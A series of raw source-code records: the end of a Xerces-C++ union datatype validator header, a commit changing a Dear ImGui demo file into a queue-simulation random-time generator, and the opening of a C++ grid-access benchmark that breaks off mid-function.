UNION_DATATYPEVALIDATOR_HPP\n\n#include <xercesc\/validators\/datatype\/DatatypeValidator.hpp>\n\nXERCES_CPP_NAMESPACE_BEGIN\n\nclass VALIDATORS_EXPORT UnionDatatypeValidator : public DatatypeValidator\n{\npublic:\n\n \/\/ -----------------------------------------------------------------------\n \/\/ Public ctor\/dtor\n \/\/ -----------------------------------------------------------------------\n\t\/** @name Constructors and Destructor. *\/\n \/\/@{\n\n UnionDatatypeValidator\n (\n MemoryManager* const manager = XMLPlatformUtils::fgMemoryManager\n );\n\n \/\/\n \/\/ constructor for native Union datatype validator\n \/\/ <simpleType name=\"nativeUnion\">\n \/\/ <union memberTypes=\"member1 member2 ...\">\n \/\/ <\/simpleType>\n \/\/\n UnionDatatypeValidator\n (\n RefVectorOf<DatatypeValidator>* const memberTypeValidators\n , const int finalSet\n , MemoryManager* const manager = XMLPlatformUtils::fgMemoryManager\n );\n\n \/\/\n \/\/ constructor for derived Union datatype validator\n \/\/ <simpleType name=\"derivedUnion\">\n \/\/ <restriction base=\"nativeUnion\">\n \/\/ <pattern value=\"patter_value\"\/>\n \/\/ <enumeration value=\"enum_value\"\/>\n \/\/ <\/restriction>\n \/\/ <\/simpleType>\n \/\/\n UnionDatatypeValidator\n (\n DatatypeValidator* const baseValidator\n , RefHashTableOf<KVStringPair>* const facets\n , RefArrayVectorOf<XMLCh>* const enums\n , const int finalSet\n , MemoryManager* const manager = XMLPlatformUtils::fgMemoryManager\n , RefVectorOf<DatatypeValidator>* const memberTypeValidators = 0\n , const bool memberTypesInherited = true\n );\n\n virtual ~UnionDatatypeValidator();\n\n\t\/\/@}\n\n\tvirtual const RefArrayVectorOf<XMLCh>* getEnumString() const;\n\n \/\/ -----------------------------------------------------------------------\n \/\/ Getter methods\n \/\/ -----------------------------------------------------------------------\n \/** @name Getter Functions *\/\n \/\/@{\n \/**\n * Returns whether the type is atomic or not\n *\/\n virtual bool isAtomic() const;\n\n virtual const XMLCh* getCanonicalRepresentation\n (\n const XMLCh* const rawData\n , MemoryManager* const memMgr = 0\n , bool toValidate = false\n ) const;\n\n \/\/@}\n\n \/\/ -----------------------------------------------------------------------\n \/\/ Validation methods\n \/\/ -----------------------------------------------------------------------\n \/** @name Validation Function *\/\n \/\/@{\n\n \/**\n * validate that a string matches the boolean datatype\n * @param content A string containing the content to be validated\n *\n * @exception throws InvalidDatatypeException if the content is\n * is not valid.\n *\/\n\n\tvirtual void validate\n (\n const XMLCh* const content\n , ValidationContext* const context = 0\n , MemoryManager* const manager = XMLPlatformUtils::fgMemoryManager\n );\n\n \/**\n * Checks whether a given type can be used as a substitute\n *\n * @param toCheck A datatype validator of the type to be used as a\n * substitute\n *\n * To be redefined in UnionDatatypeValidator\n *\/\n\n virtual bool isSubstitutableBy(const DatatypeValidator* const toCheck);\n\n \/\/@}\n\n \/\/ -----------------------------------------------------------------------\n \/\/ Compare methods\n \/\/ -----------------------------------------------------------------------\n \/** @name Compare Function *\/\n \/\/@{\n\n \/**\n * Compare two boolean data types\n *\n * @param content1\n * @param content2\n * @return\n *\/\n int compare(const XMLCh* const, const XMLCh* const\n , MemoryManager* const manager = XMLPlatformUtils::fgMemoryManager\n );\n\n \/\/@}\n\n \/**\n * Returns an instance of the base datatype validator class\n\t * Used by the DatatypeValidatorFactory.\n *\/\n virtual DatatypeValidator* newInstance\n (\n RefHashTableOf<KVStringPair>* const facets\n , RefArrayVectorOf<XMLCh>* const enums\n , const int finalSet\n , MemoryManager* const manager = XMLPlatformUtils::fgMemoryManager\n );\n\n \/***\n * Support for Serialization\/De-serialization\n ***\/\n DECL_XSERIALIZABLE(UnionDatatypeValidator)\n\n\n RefVectorOf<DatatypeValidator>* getMemberTypeValidators() const;\n\nprivate:\n \/\/ -----------------------------------------------------------------------\n \/\/ Unimplemented constructors and operators\n \/\/ ----------------------------------------------------------------------- \n UnionDatatypeValidator(const UnionDatatypeValidator&);\n UnionDatatypeValidator& operator=(const UnionDatatypeValidator&);\n\n virtual void checkContent(const XMLCh* const content\n , ValidationContext* const context\n , bool asBase\n , MemoryManager* const manager);\n\n void init(DatatypeValidator* const baseValidator\n , RefHashTableOf<KVStringPair>* const facets\n , RefArrayVectorOf<XMLCh>* const enums\n , MemoryManager* const manager);\n\n void cleanUp();\n \n RefArrayVectorOf<XMLCh>* getEnumeration() const;\n\n void setEnumeration(RefArrayVectorOf<XMLCh>*, bool);\n\n\n \/\/ -----------------------------------------------------------------------\n \/\/ Private data members\n \/\/\n \/\/ fEnumeration\n \/\/ we own it (or not, depending on state of fEnumerationInherited).\n \/\/\n \/\/ fMemberTypeValidators\n \/\/ we own it (or not, depending on the state of fMemberTypesInherited).\n \/\/\n \/\/ -----------------------------------------------------------------------\n\n bool fEnumerationInherited;\n bool fMemberTypesInherited;\n RefArrayVectorOf<XMLCh>* fEnumeration;\n RefVectorOf<DatatypeValidator>* fMemberTypeValidators; \n};\n\ninline DatatypeValidator* UnionDatatypeValidator::newInstance\n(\n RefHashTableOf<KVStringPair>* const facets\n , RefArrayVectorOf<XMLCh>* const enums\n , const int finalSet\n , MemoryManager* const manager\n)\n{\n return (DatatypeValidator*) new (manager) UnionDatatypeValidator(this, facets, enums, finalSet, manager, fMemberTypeValidators, true);\n}\n\ninline void UnionDatatypeValidator::validate( const XMLCh* const content\n , ValidationContext* const context\n , MemoryManager* const manager)\n{\n checkContent(content, context, false, manager);\n}\n\ninline void UnionDatatypeValidator::cleanUp()\n{\n \/\/~RefVectorOf will delete all adopted elements\n if ( !fEnumerationInherited && fEnumeration)\n delete fEnumeration;\n\n if (!fMemberTypesInherited && fMemberTypeValidators)\n delete fMemberTypeValidators;\n \n}\n\ninline RefArrayVectorOf<XMLCh>* UnionDatatypeValidator:: getEnumeration() const\n{\n return fEnumeration;\n}\n\ninline void UnionDatatypeValidator::setEnumeration(RefArrayVectorOf<XMLCh>* enums\n , bool inherited)\n{\n if (enums)\n {\n if ( !fEnumerationInherited && fEnumeration)\n delete fEnumeration;\n\n fEnumeration = enums;\n fEnumerationInherited = inherited;\n setFacetsDefined(DatatypeValidator::FACET_ENUMERATION);\n }\n}\n\n\/\/\n\/\/ get the native UnionDTV's fMemberTypeValidators\n\/\/\ninline\nRefVectorOf<DatatypeValidator>* UnionDatatypeValidator::getMemberTypeValidators() const\n{\n return this->fMemberTypeValidators;\n}\n\ninline bool UnionDatatypeValidator::isAtomic() const {\n\n\n\n if (!fMemberTypeValidators) {\n return false;\n }\n\n unsigned int memberSize = fMemberTypeValidators->size();\n\n for (unsigned int i=0; i < memberSize; i++) {\n if (!fMemberTypeValidators->elementAt(i)->isAtomic()) {\n return false;\n }\n }\n\n return true;\n}\n\ninline bool UnionDatatypeValidator::isSubstitutableBy(const DatatypeValidator* const toCheck) {\n\n if (toCheck == this) {\n return true;\n }\n\n if (fMemberTypeValidators) {\n unsigned int memberSize = fMemberTypeValidators->size();\n\n for (unsigned int i=0; i < memberSize; i++) {\n if ((fMemberTypeValidators->elementAt(i)->getType() == DatatypeValidator::Union) &&\n (fMemberTypeValidators->elementAt(i) == toCheck))\n return false;\n if (fMemberTypeValidators->elementAt(i)->isSubstitutableBy(toCheck)) {\n return true;\n }\n }\n }\n return false;\n}\n\nXERCES_CPP_NAMESPACE_END\n\n#endif\n\n\/**\n * End of file UnionDatatypeValidator.hpp\n *\/\n\n<|endoftext|>"} {"text":"<commit_before>\/\/ dear imgui, v1.50 WIP\n\/\/ (demo code)\n\n\/\/ Message to the person tempted to delete this file when integrating ImGui into their code base:\n\/\/ Do NOT remove this file from your project! It is useful reference code that you and other users will want to refer to.\n\/\/ Everything in this file will be stripped out by the linker if you don't call ImGui::ShowTestWindow().\n\/\/ During development, you can call ImGui::ShowTestWindow() in your code to learn about various features of ImGui.\n\/\/ Removing this file from your project is hindering your access to documentation, likely leading you to poorer usage of the library.\n\n#if defined(_MSC_VER) && !defined(_CRT_SECURE_NO_WARNINGS)\n#define _CRT_SECURE_NO_WARNINGS\n#endif\n\n#include \"imgui.h\"\n#include <ctype.h> \/\/ toupper, isprint\n#include <math.h> \/\/ sqrtf, powf, cosf, sinf, floorf, ceilf\n#include <stdio.h> \/\/ vsnprintf, sscanf, printf\n#include <stdlib.h> \/\/ NULL, malloc, free, qsort, atoi\n#include <windows.h>\n#if defined(_MSC_VER) && _MSC_VER <= 1500 \/\/ MSVC 2008 or earlier\n#include <stddef.h> \/\/ intptr_t\n#else\n#include <stdint.h> \/\/ intptr_t\n#endif\n\n#ifdef _MSC_VER\n#pragma warning (disable: 4996) \/\/ 'This function or variable may be unsafe': strcpy, strdup, sprintf, vsnprintf, sscanf, fopen\n#define snprintf _snprintf\n#endif\n#ifdef __clang__\n#pragma clang diagnostic ignored \"-Wold-style-cast\" \/\/ warning : use of old-style cast \/\/ yes, they are more terse.\n#pragma clang diagnostic ignored \"-Wdeprecated-declarations\" \/\/ warning : 'xx' is deprecated: The POSIX name for this item.. \/\/ for strdup used in demo code (so user can copy & paste the code)\n#pragma clang diagnostic ignored \"-Wint-to-void-pointer-cast\" \/\/ warning : cast to 'void *' from smaller integer type 'int'\n#pragma clang diagnostic ignored \"-Wformat-security\" \/\/ warning : warning: format string is not a string literal\n#pragma clang diagnostic ignored \"-Wexit-time-destructors\" \/\/ warning : declaration requires an exit-time destructor \/\/ exit-time destruction order is undefined. if MemFree() leads to users code that has been disabled before exit it might cause problems. ImGui coding style welcomes static\/globals.\n#if __has_warning(\"-Wreserved-id-macro\")\n#pragma clang diagnostic ignored \"-Wreserved-id-macro\" \/\/ warning : macro name is a reserved identifier \/\/\n#endif\n#elif defined(__GNUC__)\n#pragma GCC diagnostic ignored \"-Wint-to-pointer-cast\" \/\/ warning: cast to pointer from integer of different size\n#pragma GCC diagnostic ignored \"-Wformat-security\" \/\/ warning : format string is not a string literal (potentially insecure)\n#pragma GCC diagnostic ignored \"-Wdouble-promotion\" \/\/ warning: implicit conversion from 'float' to 'double' when passing argument to function\n#pragma GCC diagnostic ignored \"-Wconversion\" \/\/ warning: conversion to 'xxxx' from 'xxxx' may alter its value\n#if (__GNUC__ >= 6)\n#pragma GCC diagnostic ignored \"-Wmisleading-indentation\" \/\/ warning: this 'if' clause does not guard this statement \/\/ GCC 6.0+ only. See #883 on github.\n#endif\n#endif\n\n\/\/ Play it nice with Windows users. Notepad in 2015 still doesn't display text data with Unix-style \\n.\n#ifdef _WIN32\n#define IM_NEWLINE \"\\r\\n\"\n#else\n#define IM_NEWLINE \"\\n\"\n#endif\n\n#define IM_ARRAYSIZE(_ARR) ((int)(sizeof(_ARR)\/sizeof(*_ARR)))\n#define IM_MAX(_A,_B) (((_A) >= (_B)) ? (_A) : (_B))\n\n\/\/-----------------------------------------------------------------------------\n\/\/ DEMO CODE\n\/\/-----------------------------------------------------------------------------\n\n#ifndef IMGUI_DISABLE_TEST_WINDOWS\n\n\/\/EJEMPLO\nstatic int generarTiempoLLegada(float P);\nstatic int generarTiempoLLamada(float A);\nstatic int seleccionarMenor(int n1, int n2, int n3);\nstatic int generarTipo();\nstatic int menor = 0, reloj = 0, delta = 0, deltaAnt = 0, TSLL = 0, tipo = 0, TClientes = 0, Tllamadas = 0, cola = 0, llamadasP = 0, llamadasCont = 0, TCELL = 0, CELL = 0;\nstatic bool LLA = false, CLA = false;\nstatic float P = 0.0f;\n\/\/EJEMPLO\n\nvoid ImGui::Simulacion(bool* p_open, int tiempoMax, int nFilas, int nServicio) {\n\tstatic int i = 0;\n\tstatic bool atendido = false;\n\tstatic int TLL = generarTiempoLLegada(P);\n\tstatic int estaciones[10][2] = { {0,0} ,{ 0,0 } ,{ 0,0 } ,{ 0,0 } ,{ 0,0 } ,{ 0,0 } ,{ 0,0 } ,{ 0,0 } ,{ 0,0 } ,{ 0,0 } };\n\tstatic int TS[10][2] = { { 0,0 } ,{ 0,0 } ,{ 0,0 } ,{ 0,0 } ,{ 0,0 } ,{ 0,0 } ,{ 0,0 } ,{ 0,0 } ,{ 0,0 } ,{ 0,0 } };\n\tImGui::SetNextWindowSize(ImVec2(550, 300));\n\tif (!ImGui::Begin(\"Simulacion\", p_open))\n\t{\n\t\t\/\/ Early out if the window is collapsed, as an optimization.\n\t\tImGui::End();\n\t\treturn;\n\t}\n\t\n\t\n\t\n\n\tif (reloj<tiempoMax)\n\t{\t\n\t\tSleep(1000);\n\t\tmenor = TLL;\n\t\tfor (i = 0; i < nServicio; i++) {\n\t\t\tdelta = seleccionarMenor(TS[i][0],TS[i][1],menor);\/\/seleccionar el menor de 3 numeros\n\t\t\tmenor = delta;\n\n\t\t}\n\t\tdelta = 10;\n\t\treloj = reloj + delta;\n\t\t\n\t\t\/\/Pendiente formula tiempo de espera total\n\n\t\t\/\/Revisar el tiempo de llegada\n\t\tTLL = TLL - delta;\n\t\ti = 0;\n\t\t\n\t\tif (TLL == 0) \n\t\t{\n\t\t\ttipo = generarTipo();\n\t\t\twhile ((i < nServicio)&&(atendido == false)) \n\t\t\t{\n\t\t\t\tprintf(\"checar %i\\n\",i);\n\t\t\t\tif (tipo == 0) {\n\t\t\t\t\tTClientes++;\n\t\t\t\t\tcola++;\n\t\t\t\t\tatendido = true;\n\t\t\t\t}\n\t\t\t\telse {\n\t\t\t\t\tprintf(\"estacion: %i estado: %i\\n\", i, estaciones[i][1]);\n\t\t\t\t\tif (estaciones[i][1] == 0) \n\t\t\t\t\t{\n\t\t\t\t\t\t\n\t\t\t\t\t\testaciones[i][1] = 1;\n\t\t\t\t\t\tTS[i][1] = generarTiempoLLamada(1) + delta;\n\n\t\t\t\t\t\tllamadasCont++;\n\t\t\t\t\t\tprintf(\"atencion: %i\\n\", i);\n\t\t\t\t\t\tatendido = true;\n\t\t\t\t\t\tif (estaciones[i][0] == 1) {\n\t\t\t\t\t\t\tTS[i][0] = TS[i][0] + TS[i][1];\n\t\t\t\t\t\t\tTCELL = TCELL + TS[i][1]; \n\t\t\t\t\t\t\tCELL++;\n\t\t\t\t\t\t}\n\t\t\t\t\t\t\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t\ti++;\n\t\t\t}\n\t\t\tprintf(\"atendido\\n\");\n\t\t\tif (atendido == false) {\n\t\t\t\tllamadasP++;\n\t\t\t}\n\t\t\tTLL = generarTiempoLLegada(P);\/\/obtener un tiempo de llegada\n\t\t\t\n\t\t}\n\n\t\t\n\t\t\/\/Revisar el tiempo de servicio de llamada\n\t\tfor (i = 0; i < nServicio; i++) {\n\t\t\tTS[i][1] = TS[i][1] - delta;\n\t\t\tif (TS[i][1] <= 0) {\n\t\t\t\testaciones[i][1] = 0;\n\t\t\t}\n\t\t}\n\t\t\n\t\t\/\/Revisar el tiempo de servicio del cliente\n\t\tfor (i = 0; i < nServicio; i++) {\n\t\t\tTS[i][0] = TS[i][0] - delta;\n\t\t\tif (TS[i][0]<=0)\n\t\t\t{\n\n\t\t\t}\n\n\t\t}\n\n\t\t\n\t\tatendido = false;\n\t\tprintf(\"\\n\");\n\t}\n\t\/\/Impresion de estado\n\tTllamadas = llamadasCont + llamadasP;\n\tImGui::Text(\"Reloj: %i\", reloj);\n\tImGui::Text(\"Cola: %i \\n\", cola);\n\tImGui::Text(\"Clientes: %i \\n\", TClientes);\n\tImGui::Text(\"Llamadas: %i \\n\", Tllamadas);\n\tImGui::Text(\"Llamadas Perdidas: %i \\n\", llamadasP);\n\tImGui::Text(\"Llamadas Contestadas: %i \\n\", llamadasCont);\n\t\/\/Calculo de promedios\n\t\/\/Impresiones\n\tImGui::End();\n}\n\n\nstatic int generarTiempoLLegada(float P) {\n\tstatic int tiempo = 0;\n\ttiempo = 10;\n\treturn tiempo;\n}\nstatic int generarTiempoLLamada(float A) {\n\tstatic int tiempo = 0;\n\ttiempo = 20;\n\treturn tiempo;\n}\nstatic int seleccionarMenor(int n1, int n2, int n3) {\n\tstatic int mayor;\n\n\tmayor = 10;\n\treturn mayor;\n}\nstatic int generarTipo() {\n\tstatic int tipo;\n\ttipo = 1;\n\treturn tipo;\n}\n\n#else\n\nvoid ImGui::ShowTestWindow(bool*) {}\nvoid ImGui::ShowUserGuide() {}\nvoid ImGui::ShowStyleEditor(ImGuiStyle*) {}\n\n#endif\n<commit_msg>ejemplo de generacion de tiempos de llegada<commit_after>\/\/ dear imgui, v1.50 WIP\n\/\/ (demo code)\n\n\/\/ Message to the person tempted to delete this file when integrating ImGui into their code base:\n\/\/ Do NOT remove this file from your project! It is useful reference code that you and other users will want to refer to.\n\/\/ Everything in this file will be stripped out by the linker if you don't call ImGui::ShowTestWindow().\n\/\/ During development, you can call ImGui::ShowTestWindow() in your code to learn about various features of ImGui.\n\/\/ Removing this file from your project is hindering your access to documentation, likely leading you to poorer usage of the library.\n\n#if defined(_MSC_VER) && !defined(_CRT_SECURE_NO_WARNINGS)\n#define _CRT_SECURE_NO_WARNINGS\n#endif\n\n#include \"imgui.h\"\n#include <ctype.h> \/\/ toupper, isprint\n#include <math.h> \/\/ sqrtf, powf, cosf, sinf, floorf, ceilf\n#include <stdio.h> \/\/ vsnprintf, sscanf, printf\n#include <stdlib.h> \/\/ NULL, malloc, free, qsort, atoi\n\/\/#include <windows.h>\n#if defined(_MSC_VER) && _MSC_VER <= 1500 \/\/ MSVC 2008 or earlier\n#include <stddef.h> \/\/ intptr_t\n#else\n#include <stdint.h> \/\/ intptr_t\n#endif\n\n#include<iostream>\n#include <random>\n\n#ifdef _MSC_VER\n#pragma warning (disable: 4996) \/\/ 'This function or variable may be unsafe': strcpy, strdup, sprintf, vsnprintf, sscanf, fopen\n#define snprintf _snprintf\n#endif\n#ifdef __clang__\n#pragma clang diagnostic ignored \"-Wold-style-cast\" \/\/ warning : use of old-style cast \/\/ yes, they are more terse.\n#pragma clang diagnostic ignored \"-Wdeprecated-declarations\" \/\/ warning : 'xx' is deprecated: The POSIX name for this item.. \/\/ for strdup used in demo code (so user can copy & paste the code)\n#pragma clang diagnostic ignored \"-Wint-to-void-pointer-cast\" \/\/ warning : cast to 'void *' from smaller integer type 'int'\n#pragma clang diagnostic ignored \"-Wformat-security\" \/\/ warning : warning: format string is not a string literal\n#pragma clang diagnostic ignored \"-Wexit-time-destructors\" \/\/ warning : declaration requires an exit-time destructor \/\/ exit-time destruction order is undefined. if MemFree() leads to users code that has been disabled before exit it might cause problems. ImGui coding style welcomes static\/globals.\n#if __has_warning(\"-Wreserved-id-macro\")\n#pragma clang diagnostic ignored \"-Wreserved-id-macro\" \/\/ warning : macro name is a reserved identifier \/\/\n#endif\n#elif defined(__GNUC__)\n#pragma GCC diagnostic ignored \"-Wint-to-pointer-cast\" \/\/ warning: cast to pointer from integer of different size\n#pragma GCC diagnostic ignored \"-Wformat-security\" \/\/ warning : format string is not a string literal (potentially insecure)\n#pragma GCC diagnostic ignored \"-Wdouble-promotion\" \/\/ warning: implicit conversion from 'float' to 'double' when passing argument to function\n#pragma GCC diagnostic ignored \"-Wconversion\" \/\/ warning: conversion to 'xxxx' from 'xxxx' may alter its value\n#if (__GNUC__ >= 6)\n#pragma GCC diagnostic ignored \"-Wmisleading-indentation\" \/\/ warning: this 'if' clause does not guard this statement \/\/ GCC 6.0+ only. See #883 on github.\n#endif\n#endif\n\n\/\/ Play it nice with Windows users. Notepad in 2015 still doesn't display text data with Unix-style \\n.\n#ifdef _WIN32\n#define IM_NEWLINE \"\\r\\n\"\n#else\n#define IM_NEWLINE \"\\n\"\n#endif\n\n#define IM_ARRAYSIZE(_ARR) ((int)(sizeof(_ARR)\/sizeof(*_ARR)))\n#define IM_MAX(_A,_B) (((_A) >= (_B)) ? (_A) : (_B))\n\n\/\/-----------------------------------------------------------------------------\n\/\/ DEMO CODE\n\/\/-----------------------------------------------------------------------------\n\n#ifndef IMGUI_DISABLE_TEST_WINDOWS\n\n\/\/EJEMPLO\nstatic int generarTiempoLLegada(float P);\nstatic int generarTiempoLLamada(float A);\nstatic int seleccionarMenor(int n1, int n2, int n3);\nstatic int generarTipo();\nstatic float getRandomNumber();\nstatic int randomInteger();\nstatic void geometrica();\n\nstatic int menor = 0, reloj = 0, delta = 0, deltaAnt = 0, TSLL = 0, tipo = 0, TClientes = 0, Tllamadas = 0, cola = 0, llamadasP = 0, llamadasCont = 0, TCELL = 0, CELL = 0;\nstatic bool LLA = false, CLA = false;\nstatic float P = 0.0f;\nenum { MIN = 0, MAX = 1000 };\n\nusing namespace std;\n\n#define LEN 20\nchar times[LEN];\n\nstruct ExampleAppLog\n{\n ImGuiTextBuffer Buf;\n ImGuiTextFilter Filter;\n ImVector<int> LineOffsets; \/\/ Index to lines offset\n bool ScrollToBottom;\n\n void Clear() { Buf.clear(); LineOffsets.clear(); }\n\n void AddLog(const char* fmt, ...) IM_PRINTFARGS(2)\n {\n int old_size = Buf.size();\n va_list args;\n va_start(args, fmt);\n Buf.appendv(fmt, args);\n va_end(args);\n for (int new_size = Buf.size(); old_size < new_size; old_size++)\n if (Buf[old_size] == '\\n')\n LineOffsets.push_back(old_size);\n ScrollToBottom = true;\n }\n\n void Draw(const char* title, bool* p_open = NULL)\n {\n ImGui::SetNextWindowSize(ImVec2(500,400), ImGuiSetCond_FirstUseEver);\n ImGui::Begin(title, p_open);\n if (ImGui::Button(\"Clear\")) Clear();\n ImGui::SameLine();\n bool copy = ImGui::Button(\"Copy\");\n ImGui::SameLine();\n Filter.Draw(\"Filter\", -100.0f);\n ImGui::Separator();\n ImGui::BeginChild(\"scrolling\", ImVec2(0,0), false, ImGuiWindowFlags_HorizontalScrollbar);\n if (copy) ImGui::LogToClipboard();\n\n if (Filter.IsActive())\n {\n const char* buf_begin = Buf.begin();\n const char* line = buf_begin;\n for (int line_no = 0; line != NULL; line_no++)\n {\n const char* line_end = (line_no < LineOffsets.Size) ? buf_begin + LineOffsets[line_no] : NULL;\n if (Filter.PassFilter(line, line_end))\n ImGui::TextUnformatted(line, line_end);\n line = line_end && line_end[1] ? line_end + 1 : NULL;\n }\n }\n else\n {\n ImGui::TextUnformatted(Buf.begin());\n }\n\n if (ScrollToBottom)\n ImGui::SetScrollHere(1.0f);\n ScrollToBottom = false;\n ImGui::EndChild();\n ImGui::End();\n }\n};\n\n\n\n\/\/EJEMPLO\nvoid ImGui::Simulacion(bool* p_open, int tiempoMax, int nFilas, int nServicio) {\n \t\n\n\tstatic ExampleAppLog log;\n\n\tImGui::Begin(\"Simulacion\", p_open);\n\t\n \n\t\n\t\n\tif(ImGui::Button(\"Generate times\"))\n\t {\n\t geometrica();\n\t log.AddLog(\"\\n\\n \\tNew Generation\\n\\n\");\n\t for(int i = 0; i < LEN; i++)\n\t log.AddLog(\"%d\\n\", times[i]);\n\t }\n\n\n\t log.Draw(\"Numbers for time\", p_open);\n\n\n\t\n\n\tImGui::End();\n}\n\n\nstatic int generarTiempoLLegada(float P) {\n\tstatic int tiempo = 0;\n\ttiempo = 10;\n\treturn tiempo;\n}\nstatic int generarTiempoLLamada(float A) {\n\tstatic int tiempo = 0;\n\ttiempo = 20;\n\treturn tiempo;\n}\nstatic int seleccionarMenor(int n1, int n2, int n3) {\n\tstatic int mayor;\n\n\tmayor = 10;\n\treturn mayor;\n}\nstatic int generarTipo() {\n\tstatic int tipo;\n\ttipo = 1;\n\treturn tipo;\n}\n\n\nstatic int randomInteger()\n{\n std::mt19937 rng; \/\/ only used once to initialise (seed) engine\n rng.seed(std::random_device()());\n std::uniform_int_distribution<std::mt19937::result_type> dist(MIN,MAX); \/\/ distribution in range [MIN, MAX]\n\n auto random_integer = dist(rng);\n \n return random_integer;\n}\n\n\/\/Metodo Congruencial Lineal\nstatic float getRandomNumber()\n{\n\n long int m = 97711 \/* 97711 *\/;\n int c = 7, a = 7;\n double nrandom = 0.0f, temp = 0.0f;\n double uniforme = 0.0f;\n \n int random_stop = randomInteger();\n cout << \"rs = \" << random_stop << \" \";\n\n for (long int i = 0; i < random_stop; ++i)\n {\n\tnrandom = ((int)(a*temp + c) % m);\n\ttemp = nrandom;\n }\n\n uniforme = nrandom \/ m;\n\n return uniforme;\n}\n\n\nstatic void geometrica(){\n double p, suma, y = 0;\n double r;\n int x;\n\n p = 0.07203;\n\n for (int i = 0; i < LEN; ++i)\n {\n x = 0;\n suma = 0;\n r = getRandomNumber();\n \/\/cout << \"r = \" << r << endl;\n\n while (suma < r) {\n\tx++;\n\ty = (pow((1-p), x-1))*p;\n\tsuma += y;\n }\n times[i] = x;\n printf(\"X = %d\\n\", x);\n }\n}\n#else\n\nvoid ImGui::ShowTestWindow(bool*) {}\nvoid ImGui::ShowUserGuide() {}\nvoid ImGui::ShowStyleEditor(ImGuiStyle*) {}\n\n#endif\n<|endoftext|>"} {"text":"<commit_before>\/*\n * benchmark.cpp\n *\n * Created on: 04.05.2015\n * Author: gmueller\n *\/\n\n#include <iostream>\n#include <sstream>\n\n#include <sys\/stat.h>\n#include <sys\/time.h>\n#include <omp.h>\n\n#include <quimby\/Database.h>\n#include <quimby\/Grid.h>\n#include <quimby\/HCube.h>\n#include <quimby\/tga.h>\n\nusing namespace quimby;\nusing namespace std;\n\nbool check_file(const std::string filename) {\n\tstruct stat s;\n\tint r = stat(filename.c_str(), &s);\n\treturn ((r == 0) && S_ISREG(s.st_mode) && (s.st_size > 0));\n}\n\nclass Timer {\n\tstruct timeval start;\npublic:\n\tTimer() {\n\t\treset();\n\t}\n\n\tvoid reset() {\n\t\t::gettimeofday(&start, NULL);\n\t}\n\n\tsize_t microns() {\n\t\tstruct timeval now;\n\t\t::gettimeofday(&now, NULL);\n\t\tsize_t ms = (now.tv_sec - start.tv_sec) * 1000000;\n\t\tms += (now.tv_usec - start.tv_usec);\n\t\treturn ms;\n\n\t}\n\n\tsize_t millisecods() {\n\t\treturn microns() \/ 1000;\n\t}\n\n\tdouble seconds() {\n\t\tstruct timeval now;\n\t\t::gettimeofday(&now, NULL);\n\t\treturn double(now.tv_sec - start.tv_sec)\n\t\t\t\t+ double(now.tv_usec - start.tv_usec) \/ 1000000;\n\t}\n\n};\n\nclass Accessor {\npublic:\n\tvirtual Vector3f get(const Vector3f &pos) {\n\t\treturn Vector3f(0, 0, 0);\n\t}\n};\n\nclass GridAccessor: public Accessor {\n\tVector3f origin;\n\tGrid<Vector3f> &grid;\npublic:\n\tGridAccessor(const Vector3f &origin, Grid<Vector3f> &grid) :\n\t\t\torigin(origin), grid(grid) {\n\n\t}\n\n\tVector3f get(const Vector3f &pos) {\n\t\tVector3f r = pos - origin;\n\t\treturn grid.get(r.x, r.y, r.z);\n\t}\n};\n\ntemplate<size_t N>\nclass HCubeAccessor: public Accessor {\n\tVector3f origin;\n\tfloat size;\n\tconst HCube<N> *hcube;\npublic:\n\tHCubeAccessor(const Vector3f &origin, float size, const HCube<N> *hcube) :\n\t\t\torigin(origin), size(size), hcube(hcube) {\n\n\t}\n\n\tVector3f get(const Vector3f &pos) {\n\t\tVector3f r = pos - origin;\n\t\treturn hcube->getValue(r, size);\n\t}\n};\n\nclass RandomAccessBenchmark {\n\tVector3f origin;\n\tfloat size;\npublic:\n\tRandomAccessBenchmark(Vector3f origin, float size) :\n\t\t\torigin(origin), size(size) {\n\n\t}\n\tdouble run(Accessor &accessor, size_t threads = 1,\n\t\t\tsize_t samples = 10000000) {\n\t\tTimer timer;\n\n\t\tomp_set_num_threads(threads);\n\n#pragma omp parallel\n\t\t{\n\t\t\tint seed = 1202107158 + omp_get_thread_num() * 1999;\n\t\t\tstruct drand48_data drand_buf;\n\t\t\tsrand48_r(seed, &drand_buf);\n\n\t\t\tfloat s = size * (1 - 1e-6);\n#pragma omp parallel for\n\t\t\tfor (size_t i = 0; i < samples; i++) {\n\t\t\t\tdouble x, y, z;\n\t\t\t\tdrand48_r(&drand_buf, &x);\n\t\t\t\tdrand48_r(&drand_buf, &y);\n\t\t\t\tdrand48_r(&drand_buf, &z);\n\t\t\t\taccessor.get(origin + Vector3f(x, y, z) * s);\n\t\t\t}\n\n\t\t}\n\t\treturn timer.seconds();\n\t}\n\n};\n\nclass RandomWalkBenchmark {\n\tVector3f origin;\n\tfloat size;\npublic:\n\tRandomWalkBenchmark(Vector3f origin, float size) :\n\t\t\torigin(origin), size(size) {\n\n\t}\n\tdouble run(Accessor &accessor, size_t threads = 1,\n\t\t\tsize_t samples = 10000000) {\n\t\tTimer timer;\n\n\t\tomp_set_num_threads(threads);\n\n\t\tfloat step = size \/ 1000.;\n\t\tVector3f end = origin + Vector3f(size, size, size) * (1 - 1e-6);\n\n#pragma omp parallel\n\t\t{\n\t\t\tint seed = 1202107158 + omp_get_thread_num() * 1999;\n\t\t\tstruct drand48_data drand_buf;\n\t\t\tsrand48_r(seed, &drand_buf);\n\n\t\t\tVector3f pos = origin + Vector3f(size \/ 2., size \/ 2., size \/ 2.);\n\n#pragma omp parallel for\n\t\t\tfor (size_t i = 0; i < samples; i++) {\n\t\t\t\tdouble x, y, z;\n\t\t\t\tdrand48_r(&drand_buf, &x);\n\t\t\t\tdrand48_r(&drand_buf, &y);\n\t\t\t\tdrand48_r(&drand_buf, &z);\n\t\t\t\tpos += Vector3f(x-0.5, y-0.5, z-0.5) * step;\n\t\t\t\tpos.setUpper(origin);\n\t\t\t\tpos.setLower(end);\n\t\t\t\taccessor.get(pos);\n\t\t\t\t\/\/cout << pos << endl;\n\t\t\t}\n\n\t\t}\n\t\treturn timer.seconds();\n\t}\n\n};\n\nvoid print_slice(Accessor &accessor, size_t bins, size_t z,\n\t\tconst Vector3f &origin, float size, const string &filename) {\n\tconst float rl = 1e-15;\n\tconst float ru = 1e-5;\n\tofstream tgafile(filename.c_str());\n\ttga_write_header(tgafile, bins, bins);\n\tfor (size_t x = 0; x < bins; x++) {\n\t\tfor (size_t y = 0; y < bins; y++) {\n\t\t\tfloat value = accessor.get(\n\t\t\t\t\torigin + 